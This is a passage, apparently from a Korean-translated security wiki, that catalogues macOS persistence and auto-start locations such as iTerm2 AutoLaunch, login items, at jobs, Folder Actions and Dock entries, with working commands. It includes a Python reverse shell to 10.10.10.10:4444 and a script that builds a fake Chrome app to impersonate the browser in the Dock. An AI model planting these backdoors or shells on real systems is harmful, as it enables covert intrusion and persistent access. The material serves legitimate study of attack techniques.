~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt- ํธ๋ฆฌ๊ฑฐ: Open iTerm
~/Library/Preferences/com.googlecode.iterm2.plist- ํธ๋ฆฌ๊ฑฐ: Open iTerm
์ค๋ช ๋ฐ ์ ์ฉ
ํด๋น ๊ฒฝ๋ก์ **~/Library/Application Support/iTerm2/Scripts/AutoLaunch**์ ์ ์ฅ๋ ์คํฌ๋ฆฝํธ๋ ์คํ๋ฉ๋๋ค. ์:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
๋๋:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
iterm2.run_forever(main)
EOF
์คํฌ๋ฆฝํธ ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt ๋ ์คํ๋ฉ๋๋ค:
do shell script "touch /tmp/iterm2-autolaunchscpt"
The iTerm2 preferences located in ~/Library/Preferences/com.googlecode.iterm2.plist can ์คํํ ๋ช
๋ น์ ์ง์ ํ ์ ์์ต๋๋ค when the iTerm2 terminal is opened.
This setting can be configured in the iTerm2 settings:
.png)
And the command is reflected in the preferences:
plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
์คํํ ๋ช ๋ น์ ๋ค์๊ณผ ๊ฐ์ด ์ค์ ํ ์ ์์ต๋๋ค:
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
Warning
์์ ๋ช ๋ น์ ์คํํ๊ธฐ ์ํด iTerm2 preferences๋ฅผ ์ ์ฉํ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ด ์์ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค.
xbar
Writeup: https://theevilbit.github.io/beyond/beyond_0007/
- sandbox ์ฐํ์ ์ ์ฉ: โ
- ํ์ง๋ง xbar๊ฐ ์ค์น๋์ด ์์ด์ผ ํจ
- TCC bypass: โ
- Accessibility ๊ถํ์ ์์ฒญํจ
Location
~/Library/Application\ Support/xbar/plugins/- ํธ๋ฆฌ๊ฑฐ: xbar๊ฐ ์คํ๋ ๋
์ค๋ช
์ธ๊ธฐ ์๋ ํ๋ก๊ทธ๋จ xbar๊ฐ ์ค์น๋์ด ์์ผ๋ฉด, **~/Library/Application\ Support/xbar/plugins/**์ ์
ธ ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํ ์ ์์ผ๋ฉฐ xbar๊ฐ ์์๋ ๋ ์คํ๋ฉ๋๋ค:
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
Hammerspoon
์์ฑ: https://theevilbit.github.io/beyond/beyond_0008/
- ์๋๋ฐ์ค ์ฐํ์ ์ ์ฉํจ: โ
- ํ์ง๋ง Hammerspoon์ด ์ค์น๋์ด ์์ด์ผ ํจ
- TCC ์ฐํ: โ
- Accessibility ๊ถํ์ ์์ฒญํจ
์์น
~/.hammerspoon/init.lua- Trigger: hammerspoon์ด ์คํ๋ ๋
์ค๋ช
Hammerspoon์ macOS์ฉ ์๋ํ ํ๋ซํผ์ผ๋ก, ์์ ์ LUA scripting language๋ฅผ ํ์ฉํฉ๋๋ค. ํนํ ์์ ํ AppleScript ์ฝ๋ ํตํฉ๊ณผ shell scripts ์คํ์ ์ง์ํ์ฌ ์คํฌ๋ฆฝํ ๊ธฐ๋ฅ์ ํฌ๊ฒ ํฅ์์ํต๋๋ค.
์ฑ์ ๋จ์ผ ํ์ผ ~/.hammerspoon/init.lua๋ฅผ ์ฐพ๊ณ , ์์๋๋ฉด ํด๋น ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋ฉ๋๋ค.
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF
BetterTouchTool
- Useful to bypass sandbox: โ
- But BetterTouchTool must be installed
- TCC bypass: โ
- It requests Automation-Shortcuts and Accessibility permissions
์์น
~/Library/Application Support/BetterTouchTool/*
์ด ๋๊ตฌ๋ ํน์ ๋จ์ถํค๊ฐ ๋๋ ธ์ ๋ ์คํํ ์ ํ๋ฆฌ์ผ์ด์ ์ด๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ง์ ํ ์ ์๊ฒ ํด์ค๋๋ค. ๊ณต๊ฒฉ์๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์์ ์ ๋จ์ถํค์ ์คํ ๋์์ ๊ตฌ์ฑํ์ฌ ์์์ ์ฝ๋๋ฅผ ์คํํ๋๋ก ๋ง๋ค ์ ์์ต๋๋ค(๋จ์ถํค๋ ๋จ์ํ ํค๋ฅผ ๋๋ฅด๋ ๋์์ผ ์๋ ์์ต๋๋ค).
Alfred
- Useful to bypass sandbox: โ
- But Alfred must be installed
- TCC bypass: โ
- It requests Automation, Accessibility and even Full-Disk access permissions
์์น
???
ํน์ ์กฐ๊ฑด์ด ์ถฉ์กฑ๋ ๋ ์ฝ๋๋ฅผ ์คํํ ์ ์๋ workflows๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. ์ ์ฌ์ ์ผ๋ก ๊ณต๊ฒฉ์๊ฐ workflow ํ์ผ์ ๋ง๋ค์ด Alfred๊ฐ ์ด๋ฅผ ๋ก๋ํ๋๋ก ๋ง๋ค ์ ์์ต๋๋ค(์ํฌํ๋ก์ฐ๋ฅผ ์ฌ์ฉํ๋ ค๋ฉด premium ๋ฒ์ ๊ฒฐ์ ๊ฐ ํ์ํฉ๋๋ค).
SSHRC
Writeup: https://theevilbit.github.io/beyond/beyond_0006/
- Useful to bypass sandbox: โ
- But ssh needs to be enabled and used
- TCC bypass: โ
- SSH use to have FDA access
์์น
~/.ssh/rc- Trigger: ssh๋ก ๋ก๊ทธ์ธ
/etc/ssh/sshrc- ๋ฃจํธ ๊ถํ ํ์
- Trigger: ssh๋ก ๋ก๊ทธ์ธ
Caution
To turn ssh on requres Full Disk Access:
sudo systemsetup -setremotelogin on
์ค๋ช & Exploitation
๊ธฐ๋ณธ์ ์ผ๋ก /etc/ssh/sshd_config์ PermitUserRC no๊ฐ ์ค์ ๋์ด ์์ง ์๋ค๋ฉด, ์ฌ์ฉ์๊ฐ SSH๋ก ๋ก๊ทธ์ธํ ๋ ์คํฌ๋ฆฝํธ /etc/ssh/sshrc ๋ฐ **~/.ssh/rc**๊ฐ ์คํ๋ฉ๋๋ค.
Login Items
Writeup: https://theevilbit.github.io/beyond/beyond_0003/
์์น๋ค
~/Library/Application Support/com.apple.backgroundtaskmanagementagent- Trigger: ๋ก๊ทธ์ธ
- ์ต์คํ๋ก์ ํ์ด๋ก๋๊ฐ **
osascript**๋ฅผ ํธ์ถํ๋ ํํ๋ก ์ ์ฅ๋จ /var/db/com.apple.xpc.launchd/loginitems.501.plist- Trigger: ๋ก๊ทธ์ธ
- ๋ฃจํธ ๊ถํ ํ์
์ค๋ช
System Preferences -> Users & Groups -> Login Items์์ ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ ๋ ์คํ๋๋ ํญ๋ชฉ๋ค์ ์ฐพ์ ์ ์์ต๋๋ค.
๋ช
๋ น์ค์์ ์ด ํญ๋ชฉ๋ค์ ๋์ดํ๊ณ ์ถ๊ฐ ๋ฐ ์ ๊ฑฐํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค:
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
์ด ํญ๋ชฉ๋ค์ ํ์ผ **~/Library/Application Support/com.apple.backgroundtaskmanagementagent**์ ์ ์ฅ๋ฉ๋๋ค
Login items์ ๋ํ API SMLoginItemSetEnabled๋ฅผ ์ฌ์ฉํ์ฌ ํ์๋ ์ ์์ผ๋ฉฐ, ๊ทธ ๊ตฌ์ฑ์ **/var/db/com.apple.xpc.launchd/loginitems.501.plist**์ ์ ์ฅ๋ฉ๋๋ค
ZIP as Login Item
(Check previous section about Login Items, this is an extension)
ZIP ํ์ผ์ Login Item์ผ๋ก ์ ์ฅํ๋ฉด **Archive Utility**๊ฐ ์ด๋ฅผ ์ด๊ณ , ์๋ฅผ ๋ค์ด ZIP์ด **~/Library**์ ์ ์ฅ๋์ด ์๊ณ ํด๋ **LaunchAgents/file.plist**์ backdoor๊ฐ ํฌํจ๋์ด ์๋ค๋ฉด ํด๋น ํด๋๊ฐ ์์ฑ๋ฉ๋๋ค(๊ธฐ๋ณธ์ ์ผ๋ก ์์ฑ๋์ง๋ ์์) ๊ทธ๋ฆฌ๊ณ plist๊ฐ ์ถ๊ฐ๋๋ฏ๋ก ์ฌ์ฉ์๊ฐ ๋ค์์ ๋ก๊ทธ์ธํ ๋ plist์ ํ์๋ backdoor๊ฐ ์คํ๋ฉ๋๋ค.
๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก๋ ์ฌ์ฉ์ HOME ์์ **.bash_profile**์ .zshenv ํ์ผ์ ์์ฑํ๋ ๊ฒ์
๋๋ค. ๋ง์ฝ LaunchAgents ํด๋๊ฐ ์ด๋ฏธ ์กด์ฌํ๋ค๋ฉด ์ด ๊ธฐ๋ฒ์ ์ฌ์ ํ ์๋ํฉ๋๋ค.
At
Writeup: https://theevilbit.github.io/beyond/beyond_0014/
- sandbox ์ฐํ์ ์ ์ฉํจ: โ
- ๋จ, **
at**์ ์คํํด์ผ ํ๋ฉฐ ํ์ฑํ๋์ด ์์ด์ผ ํฉ๋๋ค - TCC bypass: ๐ด
Location
- **
at**์ ์คํํด์ผ ํ๋ฉฐ ํ์ฑํ๋์ด ์์ด์ผ ํฉ๋๋ค
Description
at ์์
์ ํน์ ์๊ฐ์ ์คํ๋ ์ผํ์ฑ ์์
์ ์์ฝํ๋๋ก ์ค๊ณ๋์ด ์์ต๋๋ค. cron jobs์ ๋ฌ๋ฆฌ at ์์
์ ์คํ ํ ์๋์ผ๋ก ์ ๊ฑฐ๋ฉ๋๋ค. ์ด๋ฌํ ์์
์ ์์คํ
์ฌ๋ถํ
ํ์๋ ์ง์๋๋ค๋ ์ ์ ์ฃผ์ํด์ผ ํ๋ฉฐ, ํน์ ์กฐ๊ฑด์์๋ ๋ณด์์ ์ฐ๋ ค๊ฐ ๋ ์ ์์ต๋๋ค.
๊ธฐ๋ณธ์ ์ผ๋ก ์ด๋ค์ ๋นํ์ฑํ๋์ด ์์ง๋ง root ์ฌ์ฉ์๋ ๋ค์์ผ๋ก ํ์ฑํํ ์ ์์ต๋๋ค:
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
์ด ์์ ์ 1์๊ฐ ํ์ ํ์ผ์ ์์ฑํฉ๋๋ค:
echo "echo 11 > /tmp/at.txt" | at now+1
์์
ํ๋ฅผ atq:๋ก ํ์ธํ์ธ์.
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
์์์ ๋ ๊ฐ์ ์์ฝ๋ ์์
์ ๋ณผ ์ ์์ต๋๋ค. at -c JOBNUMBER๋ฅผ ์ฌ์ฉํ์ฌ ์์
์ ์ธ๋ถ ์ ๋ณด๋ฅผ ์ถ๋ ฅํ ์ ์์ต๋๋ค.
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt
Warning
AT tasks๊ฐ ํ์ฑํ๋์ด ์์ง ์์ผ๋ฉด ์์ฑ๋ ์์ ์ ์คํ๋์ง ์์ต๋๋ค.
ํด๋น job files๋ /private/var/at/jobs/์์ ์ฐพ์ ์ ์์ต๋๋ค.
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
ํ์ผ ์ด๋ฆ์๋ ํ, ์์
๋ฒํธ, ์์ฝ ์คํ ์๊ฐ์ด ํฌํจ๋์ด ์์ต๋๋ค. ์๋ฅผ ๋ค์ด a0001a019bdcd2๋ฅผ ์ดํด๋ณด๊ฒ ์ต๋๋ค.
a- ํ์ ๋๋ค0001a- 16์ง์๋ก ๋ ์์ ๋ฒํธ,0x1a = 26019bdcd2- ์๊ฐ(16์ง์). epoch ์ดํ ๊ฒฝ๊ณผํ ๋ถ(minutes)์ ๋ํ๋ ๋๋ค.0x019bdcd2๋ ์ญ์ง์๋ก26991826์ ๋๋ค. ์ด๋ฅผ 60์ผ๋ก ๊ณฑํ๋ฉด1619509560์ด ๋๋ฉฐ, ์ด๋GMT: 2021. April 27., Tuesday 7:46:00์ ๋๋ค.
์์
ํ์ผ์ ์ถ๋ ฅํด ๋ณด๋ฉด at -c๋ก ์ป์ ๊ฒ๊ณผ ๋์ผํ ์ ๋ณด๊ฐ ํฌํจ๋์ด ์์์ ์ ์ ์์ต๋๋ค.
Folder Actions
์์ฑ: https://theevilbit.github.io/beyond/beyond_0024/
์์ฑ: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d
- sandbox ์ฐํ์ ์ ์ฉ: โ
- ํ์ง๋ง Folder Actions๋ฅผ ๊ตฌ์ฑํ๋ ค๋ฉด ์ธ์๋ฅผ ํฌํจํด
osascript๋ฅผ ํธ์ถํ์ฌ **System Events**์ ์ ๊ทผํ ์ ์์ด์ผ ํฉ๋๋ค - TCC ์ฐํ: ๐
- Desktop, Documents ๋ฐ Downloads์ ๊ฐ์ ์ผ๋ถ ๊ธฐ๋ณธ TCC ๊ถํ์ ๊ฐ์ง๋๋ค
Location
/Library/Scripts/Folder Action Scripts- ๋ฃจํธ ๊ถํ ํ์
- Trigger: ์ง์ ๋ ํด๋์ ๋ํ ์ ๊ทผ
~/Library/Scripts/Folder Action Scripts- Trigger: ์ง์ ๋ ํด๋์ ๋ํ ์ ๊ทผ
์ค๋ช ๋ฐ ์ ์ฉ
Folder Actions๋ ํด๋์ ํญ๋ชฉ์ ์ถ๊ฐ/์ ๊ฑฐํ๊ฑฐ๋ ํด๋ ์ฐฝ์ ์ด๊ฑฐ๋ ํฌ๊ธฐ๋ฅผ ๋ณ๊ฒฝํ๋ ๋ฑ ํด๋์ ๋ณํ์ ์ํด ์๋์ผ๋ก ํธ๋ฆฌ๊ฑฐ๋๋ ์คํฌ๋ฆฝํธ์ ๋๋ค. ์ด๋ฌํ ์ก์ ์ ๋ค์ํ ์์ ์ ํ์ฉ๋ ์ ์์ผ๋ฉฐ Finder UI๋ terminal ๋ช ๋ น ๋ฑ ์ฌ๋ฌ ๋ฐฉ์์ผ๋ก ํธ๋ฆฌ๊ฑฐํ ์ ์์ต๋๋ค.
Folder Actions๋ฅผ ์ค์ ํ๋ ค๋ฉด ๋ค์๊ณผ ๊ฐ์ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค:
- Automator๋ฅผ ์ฌ์ฉํด Folder Action ์ํฌํ๋ก๋ฅผ ์ ์ํ๊ณ ์๋น์ค๋ก ์ค์นํฉ๋๋ค.
- ํด๋์ ์ปจํ ์คํธ ๋ฉ๋ด์ ์๋ Folder Actions Setup์ ํตํด ์คํฌ๋ฆฝํธ๋ฅผ ์๋์ผ๋ก ์ฐ๊ฒฐํฉ๋๋ค.
- OSAScript๋ฅผ ์ด์ฉํด Apple Event ๋ฉ์์ง๋ฅผ
System Events.app๋ก ๋ณด๋ด Folder Action์ ํ๋ก๊ทธ๋๋ฐ์ ์ผ๋ก ์ค์ ํฉ๋๋ค.
- ์ด ๋ฐฉ๋ฒ์ ์ก์ ์ ์์คํ ์ ๋ด์ฅ์์ผ ์ผ์ ์์ค์ ์ง์์ฑ์ ์ ๊ณตํ๋ ๋ฐ ํนํ ์ ์ฉํฉ๋๋ค.
๋ค์ ์คํฌ๋ฆฝํธ๋ Folder Action์ผ๋ก ์คํํ ์ ์๋ ์์ ์ ๋๋ค:
// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
์ ์คํฌ๋ฆฝํธ๋ฅผ Folder Actions์์ ์ฌ์ฉํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ์ฌ ์ปดํ์ผํ์ธ์:
osacompile -l JavaScript -o folder.scpt source.js
์คํฌ๋ฆฝํธ๊ฐ ์ปดํ์ผ๋ ํ, ์๋ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ์ฌ Folder Actions๋ฅผ ์ค์ ํ์ธ์. ์ด ์คํฌ๋ฆฝํธ๋ Folder Actions๋ฅผ ์ ์ญ์ ์ผ๋ก ํ์ฑํํ๊ณ ์ด์ ์ ์ปดํ์ผ๋ ์คํฌ๋ฆฝํธ๋ฅผ Desktop ํด๋์ ์ฐ๊ฒฐํฉ๋๋ค.
// Enabling and attaching Folder Action
var se = Application("System Events")
se.folderActionsEnabled = true
var myScript = se.Script({ name: "source.js", posixPath: "/tmp/source.js" })
var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" })
se.folderActions.push(fa)
fa.scripts.push(myScript)
์ค์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ์คํํ์ธ์:
osascript -l JavaScript /Users/username/attach.scpt
- GUI๋ฅผ ํตํด ์ด persistence๋ฅผ ๊ตฌํํ๋ ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
๋ค์์ ์คํ๋ ์คํฌ๋ฆฝํธ์ ๋๋ค:
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
๋ค์ ๋ช
๋ น์ผ๋ก ์ปดํ์ผ: osacompile -l JavaScript -o folder.scpt source.js
๋ค์ ์์น๋ก ์ด๋:
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
Then, open the Folder Actions Setup app, select the ๊ฐ์ํ ํด๋ and select in your case folder.scpt (in my case I called it output2.scp):
.png)
์ด์ ํด๋น ํด๋๋ฅผ Finder๋ก ์ด๋ฉด ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋ฉ๋๋ค.
This configuration was stored in the plist located in ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist in base64 format.
์ด์ GUI ์ ๊ทผ ์์ด ์ด persistence๋ฅผ ์ค๋นํด๋ณด๊ฒ ์ต๋๋ค:
~/Library/Preferences/com.apple.FolderActionsDispatcher.plist์ ๋ณต์ฌํ์ฌ/tmp์ ๋ฐฑ์ ํฉ๋๋ค:
cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
- ์ค์ ํ Folder Actions ์ ๊ฑฐ:
.png)
์ด์ ๋น ํ๊ฒฝ์ด ๋์์ผ๋ฏ๋ก
- ๋ฐฑ์
ํ์ผ์ ๋ณต์ฌํฉ๋๋ค:
cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/ - ์ด ์ค์ ์ ๋ฐ์ํ๋ ค๋ฉด Folder Actions Setup.app์ ์ฝ๋๋ค:
open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"
Caution
๊ทธ๋ฆฌ๊ณ ์ด ๋ฐฉ๋ฒ์ ์ ์๊ฒ๋ ์๋ํ์ง ์์์ต๋๋ค. ํ์ง๋ง ์ด๊ฒ๋ค์ writeup์ ์ง์นจ์ ๋๋ค:(
Dock ๋ฐ๋ก๊ฐ๊ธฐ
Writeup: https://theevilbit.github.io/beyond/beyond_0027/
- sandbox๋ฅผ ์ฐํํ๋ ๋ฐ ์ ์ฉ: โ
- ํ์ง๋ง ์์คํ ๋ด๋ถ์ ์ ์ฑ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ค์นํด์ผ ํฉ๋๋ค
- TCC bypass: ๐ด
์์น
~/Library/Preferences/com.apple.dock.plist- ํธ๋ฆฌ๊ฑฐ: ์ฌ์ฉ์๊ฐ Dock ๋ด์ ์ฑ์ ํด๋ฆญํ ๋
์ค๋ช ๋ฐ ์ ์ฉ
Dock์ ํ์๋๋ ๋ชจ๋ ์ ํ๋ฆฌ์ผ์ด์
์ plist์ ์ง์ ๋์ด ์์ต๋๋ค: ~/Library/Preferences/com.apple.dock.plist
๋ค์๊ณผ ๊ฐ์ด ์ ํ๋ฆฌ์ผ์ด์ ์ ์ถ๊ฐํ ์ ์์ต๋๋ค:
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
# Restart Dock
killall Dock
์ฝ๊ฐ์ social engineering์ ์ฌ์ฉํ๋ฉด dock ์์์ ์๋ฅผ ๋ค์ด impersonate for example Google Chrome ํ๊ณ ์ค์ ๋ก ์์ ์ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์์ต๋๋ค:
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock
์์ ์ ํ๊ธฐ
Writeup: https://theevilbit.github.io/beyond/beyond_0017
- sandbox ์ฐํ์ ์ ์ฉ: ๐
- ๋งค์ฐ ํน์ ํ ๋์์ด ํ์ํจ
- ๋ ๋ค๋ฅธ sandbox์์ ์คํ๋๊ฒ ๋จ
- TCC ์ฐํ: ๐ด
์์น
/Library/ColorPickers- ๋ฃจํธ ๊ถํ ํ์
- ํธ๋ฆฌ๊ฑฐ: ์์ ์ ํ๊ธฐ ์ฌ์ฉ
~/Library/ColorPickers- ํธ๋ฆฌ๊ฑฐ: ์์ ์ ํ๊ธฐ ์ฌ์ฉ
์ค๋ช ๋ฐ ์ต์คํ๋ก์
Compile a color picker ๋ฒ๋ค์ ์ฝ๋์ ํจ๊ป ์ปดํ์ผํ์ธ์ (์๋ก this one for example) ๊ทธ๋ฆฌ๊ณ constructor๋ฅผ ์ถ๊ฐํ์ธ์ (์: Screen Saver section) ๊ทธ๋ฐ ๋ค์ ๋ฒ๋ค์ ~/Library/ColorPickers์ ๋ณต์ฌํ์ธ์.
๊ทธ๋ฌ๋ฉด ์์ ์ ํ๊ธฐ๊ฐ ํธ๋ฆฌ๊ฑฐ๋ ๋ ๋น์ ์ ์ฝ๋๋ ์คํ๋ฉ๋๋ค.
๋น์ ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๋ก๋ํ๋ ๋ฐ์ด๋๋ฆฌ๋ ๋งค์ฐ ์ ํ์ ์ธ sandbox๋ฅผ ๊ฐ์ง๋๋ค: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64
[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
Finder Sync Plugins
์์ฑ: https://theevilbit.github.io/beyond/beyond_0026/
์์ฑ: https://objective-see.org/blog/blog_0x11.html
- ์๋๋ฐ์ค ์ฐํ์ ์ ์ฉํ๊ฐ: ์๋์ค, ์์ฒด ์ฑ์ ์คํํด์ผ ํ๊ธฐ ๋๋ฌธ์
- TCC bypass: ???
์์น
- ํน์ ์ฑ
์ค๋ช & Exploit
Finder Sync Extension๋ฅผ ํฌํจํ ์ ํ๋ฆฌ์ผ์ด์ ์์ ๋ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ต๋๋ค.
์ ํ๋ฆฌ์ผ์ด์
์ Finder Sync Extensions๋ฅผ ๊ฐ์ง ์ ์์ต๋๋ค. ์ด ํ์ฅ ๊ธฐ๋ฅ์ ์คํ๋ ์ ํ๋ฆฌ์ผ์ด์
๋ด๋ถ์ ํฌํจ๋ฉ๋๋ค. ๋ํ ํ์ฅ์ด ์ฝ๋๋ฅผ ์คํํ๋ ค๋ฉด ์ผ๋ถ ์ ํจํ Apple ๊ฐ๋ฐ์ ์ธ์ฆ์๋ก ์๋ช
๋์ด์ผ ํ๋ฉฐ, ์๋๋ฐ์คํ๋์ด์ผ ํฉ๋๋ค(์ํ๋ ์์ธ๋ฅผ ์ถ๊ฐํ ์๋ ์์ง๋ง) ๊ทธ๋ฆฌ๊ณ ๋ค์๊ณผ ๊ฐ์ด ๋ฑ๋ก๋์ด์ผ ํฉ๋๋ค:
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
Screen Saver
์ฐธ๊ณ ๊ธ: https://theevilbit.github.io/beyond/beyond_0016/
์ฐธ๊ณ ๊ธ: https://posts.specterops.io/saving-your-access-d562bf5bf90b
- Sandbox ์ฐํ์ ์ ์ฉ: ๐
- ํ์ง๋ง common application sandbox์ ๊ฐํ๊ฒ ๋จ
- TCC bypass: ๐ด
์์น
/System/Library/Screen Savers- ๋ฃจํธ ๊ถํ ํ์
- Trigger: Select the screen saver
/Library/Screen Savers- ๋ฃจํธ ๊ถํ ํ์
- Trigger: Select the screen saver
~/Library/Screen Savers- Trigger: Select the screen saver
.png)
์ค๋ช & Exploit
